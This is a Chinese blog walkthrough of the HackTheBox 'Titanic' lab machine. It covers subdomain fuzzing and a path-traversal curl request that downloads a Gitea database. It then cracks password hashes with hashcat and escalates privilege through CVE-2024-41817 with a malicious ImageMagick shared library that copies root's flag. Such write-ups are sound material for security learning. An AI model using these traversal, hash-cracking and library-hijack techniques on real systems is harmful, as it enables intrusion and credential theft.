Linux/Titanic

最新推荐文章于 2025-08-26 20:48:33 发布

原创最新推荐文章于 2025-08-26 20:48:33 发布 · 1k 阅读

26 ·

CC 4.0 BY-SA版权

文章标签：

#linux #运维 #服务器

HackTheBox 专栏收录该内容

67 篇文章

订阅专栏

Titanic

Enumeration

Nmap

扫描发现对外开放了22，80两个端口，使用nmap扫描端口详细信息

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.11.55
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 01:56 EDT
Nmap scan report for 10.10.11.55
Host is up (0.92s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.97 seconds

添加域名到 /etc/hosts 文件中

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ echo '10.10.11.55 titanic.htb' | sudo tee -a /etc/hosts
[sudo] password for kali: 
10.10.11.55 titanic.htb

TCP/80

定船票的网站吗？

随便填写一些内容，会生成一个 .json 文件

暂时不知道怎么搞，但因为是已经退休的机器，有引导模式，看看问题提示，第二个问题问了子域，那偷个懒，直接扫描子域名算了

Exploitation

Wfuzz

按如下格式扫描子域名，发现了 dev.titanic.htb

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u titanic.htb -H "Host:FUZZ.titanic.htb" --sc 200
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://titanic.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload     
=====================================================================

000000019:   200        275 L    1278 W     13870 Ch    "dev"

访问结果如下，右上角有注册和登录按钮，尝试看看能不能注册并登录，发现可以

搜搜 Gitea 的漏洞，这个版本没找到什么漏洞，又回去看提示吧，引导主网站有目录遍历漏洞，又在 Gitea 目录中发现了 app.py

目录遍历

直接交给人工智能分析代码，看看代码主要什么功能，然后他直接提示我 /download 处有目录遍历漏洞，还贴心的帮我修改了代码，哈哈哈哈哈

引导模式的任务 4 又问了下面的问题

是我操作的顺序有问题还是它引导我的顺序有问题？总感觉怪怪的，从代码就已经知道了，直接回答看看下一个引导，问 Gitea 使用什么样的数据库，这个百度搜一下，通过 Gitea 的文档，发现可以通过读取 app.ini 文件来了解，这又转回来了，先看看怎么读取文件。访问 /download 提示需要添加参数

添加参数并拼接 payload，发现了 developer 用户

先不说这个，还是继续按照引导走，查看下 app.ini 文件，通过 Gitea 的文档也能知道文件路径为 /etc/gitea/conf/app.ini，但是显示没有，应该是路径不对

又回去找了一圈，发现了路径，在 docker-config 目录下还发现了 mysql 的一个密码，用该密码无法成功登陆系统，算了，还是老老实实按照提示来

拼接了下目录，然后找到了

gitea pbkdf2 password hash

然后接下来这个问题目的太明显了，他问主机上 gitea.db 的路径是什么，这是想让我读数据库啊，先把数据库下载下来再说

curl "http://titanic.htb/download?ticket=../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db

查看数据库

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ sqlite3 gitea.db         
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.                          
sqlite> select * from user;
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
3|vegetable|vegetable||123@123.com|0|enabled|e034358b36ed59d68e107680639712670b21ff8deb14df1d7db5c8f506a782221fede2e0c5696a85541f1d6c76acac3377fe|pbkdf2$50000$50|0|0|0||0|||505ceb88384f4b34cce204b462023e16|0e2a40ac54aa18320d5d34808571a6b7|en-US||1751438075|1751438076|1751438075|0|-1|1|0|0|0|0|1|0|b2d7d2d13aed54c2ed7feb538b382b42|123@123.com|0|0|0|0|0|0|0|0|0||gitea-auto|0

可以看到 hash 算法为 pbkdf2$50000$50，网上搜索一下，找到 0xdf 在做 Compiled 时的描述

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
vegetable:sha256:50000:DipArFSqGDINXTSAhXGmtw==:4DQ1izbtWdaOEHaAY5cSZwsh/43rFN8dfbXI9QangiIf7eLgxWlqhVQfHWx2rKwzd/4=

然后拿去 hashcat 破解

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz, 1435/2934 MB (512 MB allocatable), 4MCU

查看密码

┌──(kali㉿kali)-[~/Desktop/vegetable/HTB/Titanic]
└─$ hashcat gitea.hashes --show --user
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
vegetable:sha256:50000:DipArFSqGDINXTSAhXGmtw==:4DQ1izbtWdaOEHaAY5cSZwsh/43rFN8dfbXI9QangiIf7eLgxWlqhVQfHWx2rKwzd/4=:12345678

登录系统，可以看到 user.txt

developer@titanic:~$ ls
gitea  mysql  user.txt
developer@titanic:~$ cat user.txt
f979d9f2191726fcf9ed104375f90025

Privilege Escalation

题目写的提权，但是我没有反弹 shell，而是直接复制了 root.txt，实在懒得搞，主要是利用了下面的漏洞

ImageMagick Arbitrary Code Execution

提交 flag 后，还有两个问题，那想必挺简单的，关于 cron 任务，查看进程却没发现什么有趣的

developer@titanic:~$ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
develop+    1219  7.2  0.8 1065012 35452 ?       Ss   06:27  10:01 /usr/bin/python3 /opt/app/app.py
develop+    1734  0.7  4.5 1540976 182364 ?      Ssl  06:27   1:03 /usr/local/bin/gitea web
develop+  673227  0.0  0.2  17068  9864 ?        Ss   08:32   0:00 /lib/systemd/systemd --user
develop+  673330  0.0  0.1   8656  5344 pts/0    Ss   08:32   0:00 -bash
develop+  673583  0.0  0.1   8788  5616 pts/1    Ss+  08:38   0:00 -bash
develop+  673817  0.0  0.0  10336  3704 pts/0    R+   08:46   0:00 ps -aux

搞了很久没处下手，尝试查看提示，结果还是要在文件系统上查找脚本

看看别人写的，发现是这个脚本

developer@titanic:/$ cat opt/scripts/identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

查看日志，从时间来看可以看出这个脚本是 cron

developer@titanic:/$ ls -al /opt/app/static/assets/images/metadata.log 
-rw-r----- 1 root developer 442 Jul  3 01:43 /opt/app/static/assets/images/metadata.log
developer@titanic:/$ ls -al /opt/app/static/assets/images/metadata.log 
-rw-r----- 1 root developer 442 Jul  3 01:46 /opt/app/static/assets/images/metadata.log

下一个问题：Image Magick 中 2024 漏洞的 CVE ID 是什么，该漏洞可以通过加载共享库来导致权限升级？查看版本信息，然后搜索发现一个代码执行漏洞，编号为 CVE-2024-41817

developer@titanic:/$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

详情请参考Arbitrary Code Execution in `AppImage` version `ImageMagick` · Advisory · ImageMagick/ImageMagick · GitHub

读取 root.txt 实现方式如下

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt");
    exit(0);
}
EOF
developer@titanic:/opt/app/static/assets/images$ cat /tmp/root.txt
add12e1f34217890143b8025c3d6ec1c